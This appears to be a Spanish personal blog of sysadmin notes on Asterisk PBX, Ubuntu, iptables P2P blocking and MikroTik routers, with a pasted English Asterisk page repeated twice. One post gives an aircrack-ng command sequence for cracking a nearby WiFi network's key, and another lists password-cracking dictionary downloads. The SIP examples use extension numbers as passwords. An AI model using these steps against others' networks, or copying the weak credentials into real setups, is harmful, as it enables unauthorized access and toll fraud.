http://fraterneo.blogspot.com.ar/2011/07/instalando-y-configurando-asterisk-pbx.html
Instalando Asterisk PBX
Desde la página oficial de Asterisk podemos descargar el fuente necesario para su compilación e instalación, pero no sin antes instalar los paquetes necesarios para su compilación y la de otros componentes, que para este tutorial no son necesarios, como dadhi-linux y dadhi-tools en CentOS.
# yum install -y gcc ncurses-devel libtermcap-devel kernel-devel gcc-c++ openssl-devel newt-devel zlib-devel unixODBC-devel libtool make
Ahora nos dirigimos a /usr/src para descargar el fuente de Asterisk 1.6.2.19:
# cd /usr/src
# wget http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-1.6.2.19.tar.gz
# tar xzvf asterisk-1.6.2.19.tar.gz
# cd asterisk-1.6.2.19
# ./configure
# make
# make install
# make config
# make samples
Configurando Asterisk PBX
El archivo extensions.conf es la parte central de toda la configuración, dado que es donde se define el dialplan de Asterisk. Se compone de 4 partes principales: contextos, extensiones, prioridades y aplicaciones. El dialplan se divide en secciones denominadas contextos, que están rotuladas y contienen un grupo de extensiones. Los contextos se definen colocando su nombre entre corchetes ([]). Este nombre puede contener caracteres alfanuméricos además del guión y el guión bajo. Por ejemplo: [interno]
Todas las instrucciones son parte del contexto hasta que el próximo contexto es definido. Existen dos contextos especiales:
[general] (variables predefinidas)
[globals] (variables no predefinidas)
Una extensión es una instrucción que será seguida por Asterisk, luego de ser disparada por una llamada entrante o bien por dígitos discados en un canal, definida en el marco de un contexto. La sintaxis de una extensión es la siguiente: exten => nombre,prioridad,aplicación()
exten => 101,1,answer()
Extensions (start): Es una extensión especial que es utilizada si una llamada entra a un contexto sin una extensión destino específica (por ejemplo una llamada en un puerto FXO); la llamada trata de entrar automáticamente a la extensiones.
[interno]
exten => s,1,answer()
Una extensión puede tener varios pasos, denominados prioridades. Las prioridades comienzan con 1 y se ejecutan en orden numérico. Si no existe la prioridad N+1, Asterisk no salta a la siguiente prioridad (N+2). Cada prioridad ejecuta una única aplicación. Por ejemplo:
exten => 101,1,Answer()
exten => 101,2,Hangup()
Prioridades sin numerar
Asterisk introduce el uso de la prioridad n (next). Cada vez que Asterisk encuentra una prioridad n, toma el número de la prioridad anterior y le suma 1. Simplifica el proceso de escritura del dialplan, evitando tener que volver a numerar las prioridades al insertar una prioridad para la misma exten. Por ejemplo:
exten => 103,1,Answer()
exten => 103,n,hago algo
exten => 103,n,Hangup()
Nota como el orden numérico (1,2,3,etc) es reemplazado por la letra n.
Aplicaciones
Las aplicaciones realizan una acción determinada en el canal actual, controlando el comportamiento de la llamada y del sistema en sí. Algunos ejemplos son:
answer(): contesta una llamada
hangup(): cuelga una llamada
dial(): realiza una llamada saliente
playback(): reproduce un archivo de sonido
Ciertas aplicaciones requieren del pasaje de parámetros, estos se incluyen dentro de los paréntesis, separados por coma “,”.
Un Dialplan simple
Basándome en los conceptos anteriores y otros del libro de Asterisk, he creado este Dialplan sencillo y fácil de entener su funcionamiento.
Configuración del fichero extensions.conf (Todo esto va al final del fichero):
[FRATERNEO]
;Las extensiones del usuario 500.
exten => 500,1,Answer( ) ;Costumbre de que asterisk conteste la llamada
exten => 500,n,Dial(Sip/500) ;llamando al usuario 500
exten => 500,n,Voicemail(500@default,u) ;usuario no disponible
exten => 500,n,Voicemail(500@default,b) ;usuario ocupada
exten => 500,n,Hangup() ;Otra buena costumbre que asterisk finalice proceso
;Las extensiones del usuario 510.
exten => 510,1,Answer( )
exten => 510,n,Dial(Sip/510)
exten => 510,n,Voicemail(510@default,u)
exten => 510,n,Voicemail(510@default,b)
exten => 510,n,Hangup()
;Las extensiones del usuario 520.
exten => 520,1,Answer( )
exten => 520,n,Dial(Sip/520)
exten => 520,n,Voicemail(520@default,u)
exten => 520,n,Voicemail(520@default,b)
exten => 520,n,Hangup()
;Las extensiones del usuario 530.
exten => 530,1,Answer( )
exten => 530,n,Dial(Sip/530)
exten => 530,n,Voicemail(530@default,u)
exten => 530,n,Voicemail(530@default,b)
exten => 530,n,Hangup()
Configuración del fichero sip.conf (Todo esto va al final del fichero):
[500]
context=FRATERNEO ;El contexto que hablamos en el Extensions.conf
callerid="Claudio" <500> ;Identificador de llamada
secret=500 ;Contraseña
mailbox=500@fraterneo ;Correo de Voz, y esta en el contexto por FRATERNEO
type=friend
host=dynamic
canreinvite=no
call-limit=4
callgroup=1
pickupgroup=1
disallow=all
allow=gsm
allow=g729
allow=ulaw
allow=alaw
[510]
context=FRATERNEO
callerid="Jose" <510>
secret=510
mailbox=510@fraterneo
type=friend
host=dynamic
canreinvite=no
call-limit=4
callgroup=1
pickupgroup=1
disallow=all
allow=gsm
allow=g729
allow=ulaw
allow=alaw
[520]
context=FRATERNEO
callerid="Ignacio" <520>
secret=520
mailbox=520@fraterneo
type=friend
host=dynamic
canreinvite=no
call-limit=4
callgroup=1
pickupgroup=1
disallow=all
allow=gsm
allow=g729
allow=ulaw
allow=alaw
[530]
context=FRATERNEO
callerid="Dario" <520>
secret=530
mailbox=530@fraterneo
type=friend
host=dynamic
canreinvite=no
call-limit=4
callgroup=1
pickupgroup=1
disallow=all
allow=gsm
allow=g729
allow=ulaw
allow=alaw
Es sumamente importante no tocar el resto del fichero ya que todo está comentado y viene por defecto como ejemplo con sus comentarios y explicaciones.
Ahora procedemos a iniciar el servicio asterisk, hacer que cargue automáticamente al incicio y recargar el el Dialplan para que funcione con la configuración que hemos agregado.
# service asterisk start
# chkconfig asterisk --level 345 on
Para entrar a la consola de Asterisk lo haremos con el comando asterisk -rv (aunque podemos agregar muchas "v" para que sea más "verboso", es decir, nos de más información de lo que está pasando en Asterisk).
# asterisk -rvvvvvvvvvvvvv
>localhost*CLI> dialplan reload
Configurar los clientes
Solo nos queda esta parte de configurar los teléfonos. Estos pueden ser SoftPhones (aplicación) o teléfonos físicos que soporten el protocolo SIP. Un ejemplo de SoftPhone lo es Ekiga, en el cual podemos configurar una cuenta SIP.
Finalmente si abrimos los puertos de nuestro modem DSL que Asterisk utiliza, podremos accesar fuera de nuestra red local y configurar clientes amigos desde Internet. En este enlace pueden ver una lista de comandos del CLI de Asterisk.
Espero les sea de gran utilidad y aprendizaje. Cualquier sugerencia o corrección se las agradeceré en los comentarios!
ACTUALIZACION (01-11-2011): Al momento de configurar (./configure) instalando las fuentes de Asterisk podría ocurrir un error por falta de una librería XML. Sencillamente instalamos dicha librería (# yum install -y libxml2-devel), y probamos nueva vez el comando ./configure.
lunes, 30 de abril de 2012
viernes, 27 de abril de 2012
Configurar Asteriks PBX
http://danielwebb.us/software/asterisk/
My Asterisk Home Phone Setup
This is mainly a place to publish my dialplan for Asterisk so that other people can use it. Asterisk is phone system software for Linux. I use it to replace my home phone, with many more features than a home phone, and at a lower cost.
My system has everything you get with the most expensive local phone service, plus:
A toll-free number that I chose ($25 setup plus $2.50 monthly fee)
$0.02/minute for most calls worldwide
As many lines as I want for no additional charge (the hardware is $90 for each two new lines since I use regular phones)
Voicemail (as many mailboxes as I want)
Do not disturb with override (meaning if I'm sleeping, callers get a message like "I'm busy so wait for voicemail, or press pound if this is an emergency"). I sometimes sleep odd hours, and this is wonderful.
Ability to change settings based on time
Calling-card feature (you can use your home phone like a calling card from a pay phone)
Call recording
I can dim the lights with my cordless phone (how nerdy is that)
Anything you have the ingenuity to add to the dialplan and server!
Downsides are:
no 911 service (this is changing, but my provider doesn't have it). I get around this by making 911 on my phones call the local police dispatch. This is better than nothing, but still not real 911. I also have a cell phone has 911 service (Verizon).
$0.02/minute for all calls (including received calls)
If the VoIP provider goes down, no phone
If the internet goes down, no phone
If the DSL goes down, no phone
If the router goes down, no phone
If the Asterisk server goes down, no phone
You have to figure all this stuff out and set it up
I prefer to use regular cordless phones, so I bought "FXS" devices to connect my regular phones to Asterisk. I have a Sipura SPA-2002 and a Digium IAXy. The Sipura has many more features, a web interface, and two phone lines instead of one, so that's the one I recommend.
My VoIP provider (the way I make outgoing calls to the real phone network and receive incoming calls on my toll-free incoming number) is Vitelity. So far I have been very impressed with Vitelity's service. They ported my number in just over 24 hours after it had been dead with Nufone (my previous provider) for over a year. Their customer service is much more responsive, I even got a phone call at home from a manager because of an unusual request.
Nufone was my previous provider, and I still use them for outgoing sometimes. Their customer service is a bit intermittent (it can especially take a long time to get new orders through), but once set up they have very little downtime. They were highly regarded on the Asterisk users' mailing list, but they had a disaster with their toll-free DIDs which leads me to recommend against using them for DIDs. Regardless of the reason, their DID customers were suddenly left high and dry a couple of years ago with no service, and that is a serious thing to let happen.
If you decide to set up your own Asterisk server, you must get a router that supports QoS features. Especially if your connection isn't very fast (mine is currently 1.5Mbit down, 384kbit up), your calls will fall apart as soon as anything else happens on your internet connection. I use a Linksys WRT54G with a custom QoS script described on my QoS router page.
My current configuration files (last updated Dec 16 2005):
extensions.conf The main extensions file, all others are called from this one
caller_id.conf Functions to deal with callerID and number manipulation
calling_card.conf Allow incoming users to dial out
do_not_disturb.conf Handle the do-not-disturb feature
forward.conf Application to handle call forwarding
hangup_on_star.conf Turn on and off hangup-on-star feature
home_automation.conf Interface asterisk with home automation
misc.conf Assorted stuff that doesn't fit elsewhere
monitor.conf Record calls, monitor an extension
outgoing.conf Deal with outgoing calls
record.conf Record files used in menus
stdextension.conf Macro for defining each local extension
A tarfile with all the example files above is examples.tar.gz. All examples above are released into the public domain.
A talk I gave on Asterisk at the Boulder Linux Users' Group on December 9, 2005 is available in PDF format.
My Asterisk Home Phone Setup
This is mainly a place to publish my dialplan for Asterisk so that other people can use it. Asterisk is phone system software for Linux. I use it to replace my home phone, with many more features than a home phone, and at a lower cost.
My system has everything you get with the most expensive local phone service, plus:
A toll-free number that I chose ($25 setup plus $2.50 monthly fee)
$0.02/minute for most calls worldwide
As many lines as I want for no additional charge (the hardware is $90 for each two new lines since I use regular phones)
Voicemail (as many mailboxes as I want)
Do not disturb with override (meaning if I'm sleeping, callers get a message like "I'm busy so wait for voicemail, or press pound if this is an emergency"). I sometimes sleep odd hours, and this is wonderful.
Ability to change settings based on time
Calling-card feature (you can use your home phone like a calling card from a pay phone)
Call recording
I can dim the lights with my cordless phone (how nerdy is that)
Anything you have the ingenuity to add to the dialplan and server!
Downsides are:
no 911 service (this is changing, but my provider doesn't have it). I get around this by making 911 on my phones call the local police dispatch. This is better than nothing, but still not real 911. I also have a cell phone has 911 service (Verizon).
$0.02/minute for all calls (including received calls)
If the VoIP provider goes down, no phone
If the internet goes down, no phone
If the DSL goes down, no phone
If the router goes down, no phone
If the Asterisk server goes down, no phone
You have to figure all this stuff out and set it up
I prefer to use regular cordless phones, so I bought "FXS" devices to connect my regular phones to Asterisk. I have a Sipura SPA-2002 and a Digium IAXy. The Sipura has many more features, a web interface, and two phone lines instead of one, so that's the one I recommend.
My VoIP provider (the way I make outgoing calls to the real phone network and receive incoming calls on my toll-free incoming number) is Vitelity. So far I have been very impressed with Vitelity's service. They ported my number in just over 24 hours after it had been dead with Nufone (my previous provider) for over a year. Their customer service is much more responsive, I even got a phone call at home from a manager because of an unusual request.
Nufone was my previous provider, and I still use them for outgoing sometimes. Their customer service is a bit intermittent (it can especially take a long time to get new orders through), but once set up they have very little downtime. They were highly regarded on the Asterisk users' mailing list, but they had a disaster with their toll-free DIDs which leads me to recommend against using them for DIDs. Regardless of the reason, their DID customers were suddenly left high and dry a couple of years ago with no service, and that is a serious thing to let happen.
If you decide to set up your own Asterisk server, you must get a router that supports QoS features. Especially if your connection isn't very fast (mine is currently 1.5Mbit down, 384kbit up), your calls will fall apart as soon as anything else happens on your internet connection. I use a Linksys WRT54G with a custom QoS script described on my QoS router page.
My current configuration files (last updated Dec 16 2005):
extensions.conf The main extensions file, all others are called from this one
caller_id.conf Functions to deal with callerID and number manipulation
calling_card.conf Allow incoming users to dial out
do_not_disturb.conf Handle the do-not-disturb feature
forward.conf Application to handle call forwarding
hangup_on_star.conf Turn on and off hangup-on-star feature
home_automation.conf Interface asterisk with home automation
misc.conf Assorted stuff that doesn't fit elsewhere
monitor.conf Record calls, monitor an extension
outgoing.conf Deal with outgoing calls
record.conf Record files used in menus
stdextension.conf Macro for defining each local extension
A tarfile with all the example files above is examples.tar.gz. All examples above are released into the public domain.
A talk I gave on Asterisk at the Boulder Linux Users' Group on December 9, 2005 is available in PDF format.
jueves, 26 de abril de 2012
Ubuntu 12.4 LTS - Unity
instalar compiz
http://news.softpedia.es/Trucos-y-consejos-para-Ubuntu-11-04-Unity-204578.html
todas las aplicaciones:
/usr/share/app-install/desktop
Las aplicaciones instaladas:
/usr/share/applications
compiz:
habilitar animaciones.
marcar "Random animation for all events"
en 'Ubuntu Unity Plugin'. establecer la opción "Ocultar Lanzador"
Instalar Dconf Editor
en "desktop - > unity - > panel", cambiar systray-whitelist a: all
Reordenar los lanzadores de unity:
sostener, arrastrar y soltar en la nueva posicion
boton derecho "no mantener la aplicacion"
buscar en /usr/share/app-install/desktop arrastrar al lanzador y soltar
miércoles, 18 de abril de 2012
configurar modulo ipp2p en Centos 6.2
kernel version: 2.6.32-220.17.1.el6.i686
iptables version: 1.4.7
instalamos el sources del kernel:
# yum install kernel-devel
chequeamos que este instalado:
# ls -la /lib/modules/2.6.32-220.17.1.el6.i686/build
descargamos xtables-addons, descomprimimos, compilamos e instalamos:
# wget http://downloads.sourceforge.net/project/xtables-addons/Xtables-addons/1.37/xtables-addons-1.37.tar.xz
# tar Jxvf xtables-addons-1.37.tar.xz
# cd xtables-addons-1.37
# ./configure
# make
# make install
comprobamos el modulo ipp2p instalado:
# iptables -m ipp2p --help
banneamos p2p conocidos:
#iptables -A FORWARD -p tcp -m ipp2p --edk -j DROP
#iptables -A FORWARD -p udp -m ipp2p --edk -j DROP
#iptables -A FORWARD -p tcp -m ipp2p --dc -j DROP
#iptables -A FORWARD -p tcp -m ipp2p --kazaa -j DROP
#iptables -A FORWARD -p udp -m ipp2p --kazaa -j DROP
#iptables -A FORWARD -p tcp -m ipp2p --gnu -j DROP
#iptables -A FORWARD -p udp -m ipp2p --gnu -j DROP
#iptables -A FORWARD -p tcp -m ipp2p --bit -j DROP
#iptables -A FORWARD -p udp -m ipp2p --bit -j DROP
#iptables -A FORWARD -p tcp -m ipp2p --apple -j DROP
#iptables -A FORWARD -p tcp -m ipp2p --winmx -j DROP
#iptables -A FORWARD -p tcp -m ipp2p --soul -j DROP
#iptables -A FORWARD -p tcp -m ipp2p --ares -j DROP
en una sola linea:-
# iptables -A FORWARD -m ipp2p --edk --kazaa --gnu --bit --apple --dc --soul --winmx --ares --mute --waste --xdcc j DROP
Fuente de informacion:
http://jamyy.dyndns.org/blog/2011/07/3226.html
http://supportex.net/2011/02/block-huge-amount-ip-addresses-ipset-fedora-14/1/07/3226.html
http://www.ipp2p.org/documents/README
http://www.tummy.com/journals/entries/jafo_20050717_164535
jueves, 12 de abril de 2012
Auditar Redes WiFi
http://www.taringa.net/posts/linux/10599988/Hackear-red-WPA_-con-ubuntu-10_10-y-11_04_-garantizado_.html
http://www.taringa.net/posts/linux/6123053.R/Romper-WPA-y-WPA2-con-crunch.html
#airodump-ng wlan0
nos muestra las redes disponibles
#airmon-ng start wlan0
ponemos la nic en modo monitor
#ifconfig wlan0
obtenemos el numero MAC local
#airodump-ng wlan0
obtenemos el numero MAC, ESSID y channel del AP
#aireplay-ng -1 0 -e ESSID -a BSSID -h MAClocal wlan0
nos asociamos al AP del que queremos obtener la clave
#iwconfig wlan0 rate 1M channel 1
configuramos el canal 1 con 1M de rate
#aireplay-ng -3 -b BSSID -h MAClocal wlan0
generamos trafico
#airodump-ng -w data -c1 wlan0
capturamos el trafico hacia el archivo "data"
#aircrack-ng data01.cap
buscamos la clave con aircrack. En este caso seleccionamos el numero correspondiente al AP del que buscamos la clave
Fuente: http://foro.elhacker.net/wireless_en_linux/manual_basico_para_wifislax-t214456.0.html
http://www.taringa.net/posts/info/9844598/Hackear-wifi-con-Realtek-Rtl8185l-Wifislax-3_1.html
lunes, 9 de abril de 2012
diccionarios para John de riper
http://linuxeando.com.ar/diccionarios/
http://hotfile.com/dl/127364303/b829814/38_mini_diccionarios.7z.html
http://hotfile.com/dl/127371276/3eae6e2/antichat.ru.rar.html
http://hotfile.com/dl/127365679/6b81737/Case_Mutation.rar.html
http://hotfile.com/dl/127377086/73e74b5/Cracklib.rar.html
http://hotfile.com/dl/127375320/456d087/Dates.rar.html
http://hotfile.com/dl/127345435/a6f49de/Facebook_(Usernames).rar.html
http://hotfile.com/dl/127366489/ae039c4/GDict.rar.html
http://hotfile.com/dl/127377430/fc0aed0/German.rar.html
http://hotfile.com/dl/127312651/0e2c807/hashkiller.7z.html
http://hotfile.com/dl/127365062/a111bce/L33t.rar.html
http://hotfile.com/dl/127347827/0df5b79/Languages_(Summary).rar.html
http://hotfile.com/dl/127367181/718564f/PasswordsPro.rar.html
http://hotfile.com/dl/127372620/4f897f8/Russian_(Full)_-_DOS.rar.html
http://hotfile.com/dl/127373661/c36cd50/Russian_(Full)_-_KOI8.rar.html
http://hotfile.com/dl/127373332/849aac2/Russian_(Full).rar.html
http://hotfile.com/dl/127375725/b76f81a/Thematic_(Summary).rar.html
http://hotfile.com/dl/127371806/7bdc39b/Thematic.rar.html
http://hotfile.com/dl/127367682/5797ae1/Two_Word.rar.html
http://hotfile.com/dl/127310401/03b6e6e/InsidePro_(Full)_-_1.dic.7z.html
http://hotfile.com/dl/127523247/a08594b/InsidePro_(Full)_-_10.dic.7z.html
http://hotfile.com/dl/127525122/2a0cc40/InsidePro_(Full)_-_11.dic.7z.html
http://hotfile.com/dl/127491721/4bc9c91/InsidePro_(Full)_-_12.dic.7z.html
http://hotfile.com/dl/127523832/bd26031/InsidePro_(Full)_-_13.dic.7z.html
http://hotfile.com/dl/127524314/1541a5e/InsidePro_(Full)_-_14.dic.7z.html
http://hotfile.com/dl/127486987/1d55aea/InsidePro_(Full)_-_15.dic.7z.html
http://hotfile.com/dl/127489956/bf171f2/InsidePro_(Full)_-_16.dic.7z.html
http://hotfile.com/dl/127490750/46b9393/InsidePro_(Full)_-_17.dic.7z.html
http://hotfile.com/dl/127488336/8eef8fc/InsidePro_(Full)_-_18.dic.7z.html
http://hotfile.com/dl/127488808/edc2da9/InsidePro_(Full)_-_19.dic.7z.html
http://hotfile.com/dl/127522658/a067911/InsidePro_(Full)_-_2.dic.7z.html
http://hotfile.com/dl/127491018/de2ca49/InsidePro_(Full)_-_3.dic.7z.html
http://hotfile.com/dl/127524594/ab3a8a8/InsidePro_(Full)_-_4.dic.7z.html
http://hotfile.com/dl/127522224/93b7ccf/InsidePro_(Full)_-_5.dic.7z.html
http://hotfile.com/dl/127491369/face356/InsidePro_(Full)_-_6.dic.7z.html
http://hotfile.com/dl/127492078/220b2f2/InsidePro_(Full)_-_7.dic.7z.html
http://hotfile.com/dl/127487653/fef8f28/InsidePro_(Full)_-_8.dic.7z.html
http://hotfile.com/dl/127490325/2b95afb/InsidePro_(Full)_-_9.dic.7z.html
http://hotfile.com/dl/127312952/0ef5b94/InsidePro_(Mini).rar.html
http://hotfile.com/dl/127525416/dfa6b07/InsidePro20(Full)20-2020.rar.html
http://hotfile.com/dl/127525622/1ef595b/InsidePro20(Full)20-2021.rar.html
http://hotfile.com/dl/127525632/07a004e/InsidePro20(Full)20-2022.rar.html
http://hotfile.com/dl/127525640/aedff11/InsidePro20(Full)20-2023.rar.html
http://hotfile.com/dl/127525656/930bff7/InsidePro20(Full)20-2024.rar.html
http://hotfile.com/dl/127525666/59ad636/InsidePro20(Full)20-2025.rar.html
miércoles, 4 de abril de 2012
Mikrotik - Configuracion inicial
http://hip3rion.blogspot.com.ar/2011/05/conectar-el-mikrotik-por-medio-de-un.html
VER EN QUE ESTADO ESTAN LAS INTERFACES, PUES PUEDEN ESTAR DESABILITADAS.
[admin@MikroTik] > int
[admin@MikroTik] interface> pr
Flags: X - disabled, D - dynamic, R - running
# NAME TYPE RX-RATE TX-RATE MTU
0 R ether1 ether 0 0 1500
1 X ether2 ether 0 0 1500
[admin@MikroTik] interface>
SI POR CASUALIDAD HAY ALGUNA INTERFACE CON UNA “X” COM EN EL CASO DE LA INTERFACE ether2 HAY QUE HABILITARLA DE LA SIG. MANERA.
[admin@MikroTik] interface> enable 1
[admin@MikroTik] interface> pr
Flags: X - disabled, D - dynamic, R - running
# NAME TYPE RX-RATE TX-RATE MTU
0 R ether1 ether 0 0 1500
1 R ether2 ether 0 0 1500
[admin@MikroTik] interface>
ASIGNAR LAS IP A CADA INTERFACE.
EN CASO DE SER IP DINAMICA :
[admin@MikroTik] > ip
[admin@MikroTik] > ip>dhcp-client
[admin@MikroTik] > ip dhcp-client>add interface=ether1 disabled=no
[admin@MikroTik] > ip dhcp-client>pr
O EN CASO DE SER IP FIJA:
[admin@MikroTik] > ip
[admin@MikroTik] ip> add
[admin@MikroTik] ip address> add address 217.149.158.214/30 interface ether1 ( La ip asignada por el ISP)
[admin@MikroTik] ip address> pr
[admin@MikroTik] > ip
[admin@MikroTik] ip> add
[admin@MikroTik] ip address> add address 192.168.0.1/24 interface ether2 ( O el rango de ip´s que prefiera para la red privada)
[admin@MikroTik] ip address> pr
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 217.149.158.214/30 217.149.158.213 217.149.158.216 ether2
1 192.168.0.1/24 192.168.0.0 192.168.0.255 ether1
[admin@MikroTik] ip address>
CREAR EL DEFAULT GATEWAY
[admin@MikroTik] > ip
[admin@MikroTik] ip> route
[admin@MikroTik] ip route> add dst-address 0.0.0.0/0 gateway 217.149.158.213 (la gateway del > dhcp-client >print detail)
[admin@MikroTik] ip route> pr
Flags: X - disabled, A - active, D - dynamic,
C - connect, S - static, r - rip, b - bgp, o - ospf
# DST-ADDRESS PREFSRC G GATEWAY DISTANCE INTERFACE
0 ADC 192.168.0.0/24 192.168.0.1 ether1
1 ADC 200.222.35.32/30 200.222.35.33 ether2
2 A S 0.0.0.0/0 r 200.222.35.34 ether2
[admin@MikroTik] ip route>
UNA VES REALIZADO ESTO, YA SE DEBERIA PODER HACER UN PING DESDE EL ROUTER A LA PC 192.168.0.3 Y A CUALQUIER IP DE INTERNET. (PROBARLO PARA CONFIRMAR QUE AMBAS INTERFACES ESTAN FUNCIONANDO CORRECTAMENTE)
CREAR EL NAT PARA PODER COMPARTIR INTERNET EN LA RED INTERNA Y QUE LAS MISMAS PUEDAN NAVEGAR.
[admin@MikroTik] > ip
[admin@MikroTik] ip> fir
[admin@MikroTik] ip firewall> nat
[admin@MikroTik] ip firewall nat>
[admin@MikroTik] ip firewall nat> add chain=srcnat out-interf=ether2 action=masquerade
[admin@MikroTik] ip firewall nat> pr
Flags: X - disabled, I - invalid, D - dynamic
0 chain=srcnat out-interface=ether2 action=masquerade
[admin@MikroTik] ip firewall nat>
CONFIGURAR EL SERVICIO DE CACHE DE DNS
[admin@MikroTik] ip> ..
[admin@MikroTik] > ip
[admin@MikroTik] ip> dns
[admin@MikroTik] ip dns> pr
primary-dns: 0.0.0.0
secondary-dns: 0.0.0.0
allow-remote-requests: no
cache-size: 2048KiB
cache-max-ttl: 1w
cache-used: 16KiB
COLOCAR LAS IP DE VUESTRO PROVEDOR EN LUGAR DE LAS DE EJEMPLO
[admin@MikroTik] ip dns> set primary-dns=217.15.32.2 secondary-dns=200.45.191.35 allow-re
mote=yes
[admin@MikroTik] ip dns> pr
primary-dns: 80.58.0.33
secondary-dns: 80.58.0.97
allow-remote-requests: yes
cache-size: 2048KiB
cache-max-ttl: 1w
cache-used: 16KiB
[admin@MikroTik] ip dns>
PARA ASIGNAR IP POR DHCP
/ip dhcp-server setup
SI A LA PC QUE TENES CONECTADA EN LA RED INTERNA CON LA IP 192.168.0.3
CONFIGURAR LA PUERTA DE ENLACE Y EL DNS PRIMARIO CON LA IP 192.168.0.1
YA DEBERIAS PODER NAVEGAR PERFECTAMENTE.
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